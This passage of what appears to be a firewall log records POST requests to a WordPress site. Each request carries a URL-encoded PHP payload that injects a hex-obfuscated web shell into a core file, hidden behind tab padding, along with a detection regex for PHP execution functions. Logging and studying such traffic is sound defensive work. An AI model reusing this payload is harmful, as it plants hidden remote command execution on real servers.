20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 20:42:16","41.76.213.235","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Nl:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/pluggable-deprecated.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524bind1%2520%253D%2520%252773%2527%253B%2524bind2%2520%253D%2520%252774%2527%253B%2524bind3%2520%253D%2520%252765%2527%253B%2524bind4%2520%253D%2520%252768%2527%253B%2524bind5%2520%253D%2520%25276c%2527%253B%2524bind6%2520%253D%2520%25275f%2527%253B%2524bind7%2520%253D%2520%252778%2527%253B%2524bind8%2520%253D%2520%252763%2527%253B%2524bind9%2520%253D%2520%252770%2527%253B%2524bind10%2520%253D%2520%252775%2527%253B%2524bind11%2520%253D%2520%25276e%2527%253B%2524bind12%2520%253D%2520%252772%2527%253B%2524bind13%2520%253D%2520%25276f%2527%253B%2524bind14%2520%253D%2520%252764%2527%253B%2524bind15%2520%253D%2520%252761%2527%253B%2524module_controller1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524bind1%2520.%2520%252779%2527%2520.%2520%2524bind1%2520.%2520%2524bind2%2520.%2520%2524bind3%2520.%2520%25276d%2527%2529%253B%2524module_controller2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524bind1%2520.%2520%2524bind4%2520.%2520%2524bind3%2520.%2520%2524bind5%2520.%2520%2524bind5%2520.%2520%2524bind6%2520.%2520%2524bind3%2520.%2520%2524bind7%2520.%2520%252765%2527%2520.%2520%2524bind8%2529%253B%2524module_controller3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524bind3%2520.%2520%252778%2527%2520.%2520%252765%2527%2520.%2520%252763%2527%2529%253B%2524module_controller4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524bind9%2520.%2520%252761%2527%2520.%2520%2524bind1%2520.%2520%252773%2527%2520.%2520%252774%2527%2520.%2520%2524bind4%2520.%2520%252772%2527%2520.%2520%2524bind10%2529%253B%2524module_controller5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527%2520.%2520%25276f%2527%2520.%2520%2524bind9%2520.%2520%2524bind3%2520.%2520%2524bind11%2529%253B%2524module_controller6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527%2520.%2520%2524bind2%2520.%2520%2524bind12%2520.%2520%2524bind3%2520.%2520%252761%2527%2520.%2520%25276d%2527%2520.%2520%25275f%2527%2520.%2520%252767%2527%2520.%2520%252765%2527%2520.%2520%2524bind2%2520.%2520%2524bind6%2520.%2520%252763%2527%2520.%2520%2524bind13%2520.%2520%25276e%2527%2520.%2520%252774%2527%2520.%2520%2524bind3%2520.%2520%2524bind11%2520.%2520%2524bind2%2520.%2520%252773%2527%2529%253B%2524module_controller7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527%2520.%2520%2524bind8%2520.%2520%2524bind5%2520.%2520%25276f%2527%2520.%2520%2524bind1%2520.%2520%252765%2527%2529%253B%2524data_storage%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524bind14%2520.%2520%252761%2527%2520.%2520%252774%2527%2520.%2520%2524bind15%2520.%2520%2524bind6%2520.%2520%2524bind1%2520.%2520%2524bind2%2520.%2520%25276f%2527%2520.%2520%252772%2527%2520.%2520%252761%2527%2520.%2520%252767%2527%2520.%2520%2524bind3%2529%253Bif%2528isset%2528%2524_POST%255B%2524data_storage%255D%2529%2529%257B%2524data_storage%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524data_storage%255D%2529%253Bif%2528function_exists%2528%2524module_controller1%2529%2529%257B%2524module_controller1%2528%2524data_storage%2529%253B%257Delseif%2528function_exists%2528%2524module_controller2%2529%2529%257Bprint%2520%2524module_controller2%2528%2524data_storage%2529%253B%257Delseif%2528function_exists%2528%2524module_controller3%2529%2529%257B%2524module_controller3%2528%2524data_storage%252C%2524object_data%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524object_data%2529%253B%257Delseif%2528function_exists%2528%2524module_controller4%2529%2529%257B%2524module_controller4%2528%2524data_storage%2529%253B%257Delseif%2528function_exists%2528%2524module_controller5%2529%2526%2526function_exists%2528%2524module_controller6%2529%2526%2526function_exists%2528%2524module_controller7%2529%2529%257B%2524itm_comp%253D%2524module_controller5%2528%2524data_storage%252C%2522r%2522%2529%253Bif%2528%2524itm_comp%2529%257B%2524rec_elem%253D%2524module_controller6%2528%2524itm_comp%2529%253B%2524module_controller7%2528%2524itm_comp%2529%253Bprint%2520%2524rec_elem%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-length:7077\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-type:application\/x-www-form-urlencoded\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvGzjvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz9vK2ywo252K2uuozEfMFV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\n\nNl=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/pluggable-deprecated.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524bind1%2520%253D%2520%252773%2527%253B%2524bind2%2520%253D%2520%252774%2527%253B%2524bind3%2520%253D%2520%252765%2527%253B%2524bind4%2520%253D%2520%252768%2527%253B%2524bind5%2520%253D%2520%25276c%2527%253B%2524bind6%2520%253D%2520%25275f%2527%253B%2524bind7%2520%253D%2520%252778%2527%253B%2524bind8%2520%253D%2520%252763%2527%253B%2524bind9%2520%253D%2520%252770%2527%253B%2524bind10%2520%253D%2520%252775%2527%253B%2524bind11%2520%253D%2520%25276e%2527%253B%2524bind12%2520%253D%2520%252772%2527%253B%2524bind13%2520%253D%2520%25276f%2527%253B%2524bind14%2520%253D%2520%252764%2527%253B%2524bind15%2520%253D%2520%252761%2527%253B%2524module_controller1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524bind1%2520.%2520%252779%2527%2520.%2520%2524bind1%2520.%2520%2524bind2%2520.%2520%2524bind3%2520.%2520%25276d%2527%2529%253B%2524module_controller2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524bind1%2520.%2520%2524bind4%2520.%2520%2524bind3%2520.%2520%2524bind5%2520.%2520%2524bind5%2520.%2520%2524bind6%2520.%2520%2524bind3%2520.%2520%2524bind7%2520.%2520%252765%2527%2520.%2520%2524bind8%2529%253B%2524module_controller3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524bind3%2520.%2520%252778%2527%2520.%2520%252765%2527%2520.%2520%252763%2527%2529%253B%2524module_controller4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524bind9%2520.%2520%252761%2527%2520.%2520%2524bind1%2520.%2520%252773%2527%2520.%2520%252774%2527%2520.%2520%2524bind4%2520.%2520%252772%2527%2520.%2520%2524bind10%2529%253B%2524module_controller5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527%2520.%2520%25276f%2527%2520.%2520%2524bind9%2520.%2520%2524bind3%2520.%2520%2524bind11%2529%253B%2524module_controller6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527%2520.%2520%2524bind2%2520.%2520%2524bind12%2520.%2520%2524bind3%2520.%2520%252761%2527%2520.%2520%25276d%2527%2520.%2520%25275f%2527%2520.%2520%252767%2527%2520.%2520%252765%2527%2520.%2520%2524bind2%2520.%2520%2524bind6%2520.%2520%252763%2527%2520.%2520%2524bind13%2520.%2520%25276e%2527%2520.%2520%252774%2527%2520.%2520%2524bind3%2520.%2520%2524bind11%2520.%2520%2524bind2%2520.%2520%252773%2527%2529%253B%2524module_controller7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527%2520.%2520%2524bind8%2520.%2520%2524bind5%2520.%2520%25276f%2527%2520.%2520%2524bind1%2520.%2520%252765%2527%2529%253B%2524data_storage%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524bind14%2520.%2520%252761%2527%2520.%2520%252774%2527%2520.%2520%2524bind15%2520.%2520%2524bind6%2520.%2520%2524bind1%2520.%2520%2524bind2%2520.%2520%25276f%2527%2520.%2520%252772%2527%2520.%2520%252761%2527%2520.%2520%252767%2527%2520.%2520%2524bind3%2529%253Bif%2528isset%2528%2524_POST%255B%2524data_storage%255D%2529%2529%257B%2524data_storage%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524data_storage%255D%2529%253Bif%2528function_exists%2528%2524module_controller1%2529%2529%257B%2524module_controller1%2528%2524data_storage%2529%253B%257Delseif%2528function_exists%2528%2524module_controller2%2529%2529%257Bprint%2520%2524module_controller2%2528%2524data_storage%2529%253B%257Delseif%2528function_exists%2528%2524module_controller3%2529%2529%257B%2524module_controller3%2528%2524data_storage%252C%2524object_data%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524object_data%2529%253B%257Delseif%2528function_exists%2528%2524module_controller4%2529%2529%257B%2524module_controller4%2528%2524data_storage%2529%253B%257Delseif%2528function_exists%2528%2524module_controller5%2529%2526%2526function_exists%2528%2524module_controller6%2529%2526%2526function_exists%2528%2524module_controller7%2529%2529%257B%2524itm_comp%253D%2524module_controller5%2528%2524data_storage%252C%2522r%2522%2529%253Bif%2528%2524itm_comp%2529%257B%2524rec_elem%253D%2524module_controller6%2528%2524itm_comp%2529%253B%2524module_controller7%2528%2524itm_comp%2529%253Bprint%2520%2524rec_elem%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 20:42:47","88.135.73.76","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> WB:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/pluggable-deprecated.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524bind1%2520%253D%2520%252773%2527%253B%2524bind2%2520%253D%2520%252774%2527%253B%2524bind3%2520%253D%2520%252765%2527%253B%2524bind4%2520%253D%2520%252768%2527%253B%2524bind5%2520%253D%2520%25276c%2527%253B%2524bind6%2520%253D%2520%25275f%2527%253B%2524bind7%2520%253D%2520%252778%2527%253B%2524bind8%2520%253D%2520%252763%2527%253B%2524bind9%2520%253D%2520%252770%2527%253B%2524bind10%2520%253D%2520%252775%2527%253B%2524bind11%2520%253D%2520%25276e%2527%253B%2524bind12%2520%253D%2520%252772%2527%253B%2524bind13%2520%253D%2520%25276f%2527%253B%2524bind14%2520%253D%2520%252764%2527%253B%2524bind15%2520%253D%2520%252761%2527%253B%2524module_controller1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524bind1%2520.%2520%252779%2527%2520.%2520%2524bind1%2520.%2520%2524bind2%2520.%2520%2524bind3%2520.%2520%25276d%2527%2529%253B%2524module_controller2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524bind1%2520.%2520%2524bind4%2520.%2520%2524bind3%2520.%2520%2524bind5%2520.%2520%2524bind5%2520.%2520%2524bind6%2520.%2520%2524bind3%2520.%2520%2524bind7%2520.%2520%252765%2527%2520.%2520%2524bind8%2529%253B%2524module_controller3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524bind3%2520.%2520%252778%2527%2520.%2520%252765%2527%2520.%2520%252763%2527%2529%253B%2524module_controller4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524bind9%2520.%2520%252761%2527%2520.%2520%2524bind1%2520.%2520%252773%2527%2520.%2520%252774%2527%2520.%2520%2524bind4%2520.%2520%252772%2527%2520.%2520%2524bind10%2529%253B%2524module_controller5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527%2520.%2520%25276f%2527%2520.%2520%2524bind9%2520.%2520%2524bind3%2520.%2520%2524bind11%2529%253B%2524module_controller6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527%2520.%2520%2524bind2%2520.%2520%2524bind12%2520.%2520%2524bind3%2520.%2520%252761%2527%2520.%2520%25276d%2527%2520.%2520%25275f%2527%2520.%2520%252767%2527%2520.%2520%252765%2527%2520.%2520%2524bind2%2520.%2520%2524bind6%2520.%2520%252763%2527%2520.%2520%2524bind13%2520.%2520%25276e%2527%2520.%2520%252774%2527%2520.%2520%2524bind3%2520.%2520%2524bind11%2520.%2520%2524bind2%2520.%2520%252773%2527%2529%253B%2524module_controller7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527%2520.%2520%2524bind8%2520.%2520%2524bind5%2520.%2520%25276f%2527%2520.%2520%2524bind1%2520.%2520%252765%2527%2529%253B%2524data_storage%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524bind14%2520.%2520%252761%2527%2520.%2520%252774%2527%2520.%2520%2524bind15%2520.%2520%2524bind6%2520.%2520%2524bind1%2520.%2520%2524bind2%2520.%2520%25276f%2527%2520.%2520%252772%2527%2520.%2520%252761%2527%2520.%2520%252767%2527%2520.%2520%2524bind3%2529%253Bif%2528isset%2528%2524_POST%255B%2524data_storage%255D%2529%2529%257B%2524data_storage%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524data_storage%255D%2529%253Bif%2528function_exists%2528%2524module_controller1%2529%2529%257B%2524module_controller1%2528%2524data_storage%2529%253B%257Delseif%2528function_exists%2528%2524module_controller2%2529%2529%257Bprint%2520%2524module_controller2%2528%2524data_storage%2529%253B%257Delseif%2528function_exists%2528%2524module_controller3%2529%2529%257B%2524module_controller3%2528%2524data_storage%252C%2524object_data%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524object_data%2529%253B%257Delseif%2528function_exists%2528%2524module_controller4%2529%2529%257B%2524module_controller4%2528%2524data_storage%2529%253B%257Delseif%2528function_exists%2528%2524module_controller5%2529%2526%2526function_exists%2528%2524module_controller6%2529%2526%2526function_exists%2528%2524module_controller7%2529%2529%257B%2524itm_comp%253D%2524module_controller5%2528%2524data_storage%252C%2522r%2522%2529%253Bif%2528%2524itm_comp%2529%257B%2524rec_elem%253D%2524module_controller6%2528%2524itm_comp%2529%253B%2524module_controller7%2528%2524itm_comp%2529%253Bprint%2520%2524rec_elem%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nsec-fetch-dest:document\ncontent-length:7077\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvI0VvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaA5plV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-site:none\naccept:*\/*\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\n\nWB=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/pluggable-deprecated.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524bind1%2520%253D%2520%252773%2527%253B%2524bind2%2520%253D%2520%252774%2527%253B%2524bind3%2520%253D%2520%252765%2527%253B%2524bind4%2520%253D%2520%252768%2527%253B%2524bind5%2520%253D%2520%25276c%2527%253B%2524bind6%2520%253D%2520%25275f%2527%253B%2524bind7%2520%253D%2520%252778%2527%253B%2524bind8%2520%253D%2520%252763%2527%253B%2524bind9%2520%253D%2520%252770%2527%253B%2524bind10%2520%253D%2520%252775%2527%253B%2524bind11%2520%253D%2520%25276e%2527%253B%2524bind12%2520%253D%2520%252772%2527%253B%2524bind13%2520%253D%2520%25276f%2527%253B%2524bind14%2520%253D%2520%252764%2527%253B%2524bind15%2520%253D%2520%252761%2527%253B%2524module_controller1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524bind1%2520.%2520%252779%2527%2520.%2520%2524bind1%2520.%2520%2524bind2%2520.%2520%2524bind3%2520.%2520%25276d%2527%2529%253B%2524module_controller2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524bind1%2520.%2520%2524bind4%2520.%2520%2524bind3%2520.%2520%2524bind5%2520.%2520%2524bind5%2520.%2520%2524bind6%2520.%2520%2524bind3%2520.%2520%2524bind7%2520.%2520%252765%2527%2520.%2520%2524bind8%2529%253B%2524module_controller3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524bind3%2520.%2520%252778%2527%2520.%2520%252765%2527%2520.%2520%252763%2527%2529%253B%2524module_controller4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524bind9%2520.%2520%252761%2527%2520.%2520%2524bind1%2520.%2520%252773%2527%2520.%2520%252774%2527%2520.%2520%2524bind4%2520.%2520%252772%2527%2520.%2520%2524bind10%2529%253B%2524module_controller5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527%2520.%2520%25276f%2527%2520.%2520%2524bind9%2520.%2520%2524bind3%2520.%2520%2524bind11%2529%253B%2524module_controller6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527%2520.%2520%2524bind2%2520.%2520%2524bind12%2520.%2520%2524bind3%2520.%2520%252761%2527%2520.%2520%25276d%2527%2520.%2520%25275f%2527%2520.%2520%252767%2527%2520.%2520%252765%2527%2520.%2520%2524bind2%2520.%2520%2524bind6%2520.%2520%252763%2527%2520.%2520%2524bind13%2520.%2520%25276e%2527%2520.%2520%252774%2527%2520.%2520%2524bind3%2520.%2520%2524bind11%2520.%2520%2524bind2%2520.%2520%252773%2527%2529%253B%2524module_controller7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527%2520.%2520%2524bind8%2520.%2520%2524bind5%2520.%2520%25276f%2527%2520.%2520%2524bind1%2520.%2520%252765%2527%2529%253B%2524data_storage%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524bind14%2520.%2520%252761%2527%2520.%2520%252774%2527%2520.%2520%2524bind15%2520.%2520%2524bind6%2520.%2520%2524bind1%2520.%2520%2524bind2%2520.%2520%25276f%2527%2520.%2520%252772%2527%2520.%2520%252761%2527%2520.%2520%252767%2527%2520.%2520%2524bind3%2529%253Bif%2528isset%2528%2524_POST%255B%2524data_storage%255D%2529%2529%257B%2524data_storage%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524data_storage%255D%2529%253Bif%2528function_exists%2528%2524module_controller1%2529%2529%257B%2524module_controller1%2528%2524data_storage%2529%253B%257Delseif%2528function_exists%2528%2524module_controller2%2529%2529%257Bprint%2520%2524module_controller2%2528%2524data_storage%2529%253B%257Delseif%2528function_exists%2528%2524module_controller3%2529%2529%257B%2524module_controller3%2528%2524data_storage%252C%2524object_data%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524object_data%2529%253B%257Delseif%2528function_exists%2528%2524module_controller4%2529%2529%257B%2524module_controller4%2528%2524data_storage%2529%253B%257Delseif%2528function_exists%2528%2524module_controller5%2529%2526%2526function_exists%2528%2524module_controller6%2529%2526%2526function_exists%2528%2524module_controller7%2529%2529%257B%2524itm_comp%253D%2524module_controller5%2528%2524data_storage%252C%2522r%2522%2529%253Bif%2528%2524itm_comp%2529%257B%2524rec_elem%253D%2524module_controller6%2528%2524itm_comp%2529%253B%2524module_controller7%2528%2524itm_comp%2529%253Bprint%2520%2524rec_elem%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 20:42:54","50.6.7.129","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> sE:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/pluggable-deprecated.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524bind1%2520%253D%2520%252773%2527%253B%2524bind2%2520%253D%2520%252774%2527%253B%2524bind3%2520%253D%2520%252765%2527%253B%2524bind4%2520%253D%2520%252768%2527%253B%2524bind5%2520%253D%2520%25276c%2527%253B%2524bind6%2520%253D%2520%25275f%2527%253B%2524bind7%2520%253D%2520%252778%2527%253B%2524bind8%2520%253D%2520%252763%2527%253B%2524bind9%2520%253D%2520%252770%2527%253B%2524bind10%2520%253D%2520%252775%2527%253B%2524bind11%2520%253D%2520%25276e%2527%253B%2524bind12%2520%253D%2520%252772%2527%253B%2524bind13%2520%253D%2520%25276f%2527%253B%2524bind14%2520%253D%2520%252764%2527%253B%2524bind15%2520%253D%2520%252761%2527%253B%2524module_controller1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524bind1%2520.%2520%252779%2527%2520.%2520%2524bind1%2520.%2520%2524bind2